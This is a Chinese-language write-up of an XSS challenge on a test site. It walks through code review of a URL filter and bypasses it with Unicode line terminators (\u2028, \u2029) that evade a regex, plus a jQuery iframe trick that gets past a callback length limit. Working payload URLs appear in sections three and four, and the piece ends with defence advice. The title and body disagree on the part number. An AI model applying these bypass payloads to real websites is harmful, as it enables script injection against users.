一些BAT的XSS实例(五)最终篇
字数 1174 2025-08-26 22:11:40
BAT XSS实例分析(六)高级绕过技术详解
一、题目背景
这是BAT XSS实例系列中最难的第六题,主要考察在强过滤条件下的XSS绕过技术。题目特点:
- 参数从2个变为1个(uin)
- 路径中去掉了问号字符
- 参数会进行一次URL解码操作
- 存在严格的过滤机制
二、题目分析
初始尝试
-
基本构造尝试:
http://px1624.sinaapp.com/test/xsstest6/?#uin=../test/xsstest6/user.php?callback=111- 发现会直接跳转
- 断点调试显示参数变为空字符串
-
URL编码尝试:
http://px1624.sinaapp.com/test/xsstest6/?#uin=../test/xsstest6/user.php%3fcallback=111- 百分号被过滤导致失败
代码审计发现
-
过滤机制:
- 问号(?)被过滤
- 百分号(%)被过滤(防止URL编码绕过)
- 参数校验:不符合条件返回空,导致跳转到php页面
-
关键正则表达式:
str.replace(/.*\?/, '')- 将问号前面的所有内容替换为空
- 导致GETname和parmtname不相等,返回空字符串
三、绕过技术详解
1. 正则表达式特性利用
- 正则中的点(.)匹配任意字符除了换行符
- JavaScript中的行结束符:
\n(换行)\r(回车)\u2028(行分隔符)\u2029(段落分隔符)
2. 换行符绕过尝试
-
初始尝试:
http://px1624.sinaapp.com/test/xsstest6/?#11?\n&uin=../test/xsstest6/user.php?callback=alert()- 失败原因:浏览器地址栏无法直接解析
\n
- 失败原因:浏览器地址栏无法直接解析
-
控制台测试:
location="http://px1624.sinaapp.com/test/xsstest6/?#11?\n&uin=../test/xsstest6/user.php?callback=alert()"- 仍然失败:浏览器地址栏特殊处理
3. Unicode行结束符绕过
-
使用
\u2028和\u2029:location="http://px1624.sinaapp.com/test/xsstest6/?#11?\u2028&uin=../test/xsstest6/user.php?callback=alert()"- 成功原因:正则中的点(.)不匹配这些行结束符
- 在行结束符处截断,保留后面内容
-
浏览器兼容性:
- 老版本浏览器(如旧版Chrome、IE)支持
- 新版Chrome对location.hash的特殊字符进行URL编码,导致失效
4. 长度限制绕过
user.php限制callback参数长度≤7字符,而alert(1)为8字符:
方案一:利用PHP构造
- 参考第五题解法,利用PHP特性绕过长度限制
方案二:利用jQuery DOM XSS
- 利用jQuery的$()函数进行DOM操作
- 构造iframe实现:
<iframe src="http://px1624.sinaapp.com/test/xsstest6/?#11?\u2028&uin=../test/xsstest6/user.php?callback=$(``)"></iframe>
四、完整Payload
-
基础弹窗(老浏览器):
http://px1624.sinaapp.com/test/xsstest6/?#11?\u2028&uin=../test/xsstest6/user.php?callback=alert() -
带参数的弹窗(需绕过长度限制):
location="http://px1624.sinaapp.com/test/xsstest6/?#11?\u2028&uin=../test/xsstest6/user.php?callback=$(``)"
五、技术总结
-
核心知识点:
- JavaScript正则表达式特性(.不匹配行结束符)
- Unicode行结束符(\u2028, \u2029)
- 浏览器URL解析机制
- jQuery DOM操作特性
-
调试技巧:
- 断点调试分析参数处理流程
- 控制台测试特殊字符行为
- 代码映射分析过滤逻辑
-
绕过思路:
- 利用语言特性而非单纯编码
- 关注过滤规则的边界条件
- 多维度组合利用各种特性
-
防御建议:
- 统一字符编码处理
- 严格限制输入格式
- 避免依赖客户端过滤
六、扩展思考
- 现代浏览器防御机制对这类攻击的影响
- 其他可能被忽略的Unicode控制字符
- 服务端与客户端协同防御方案
- 基于DOM的XSS防御策略
通过这道题目,展示了在强过滤条件下如何利用语言特性和浏览器行为差异实现XSS绕过,强调了基础知识和系统化思维在安全研究中的重要性。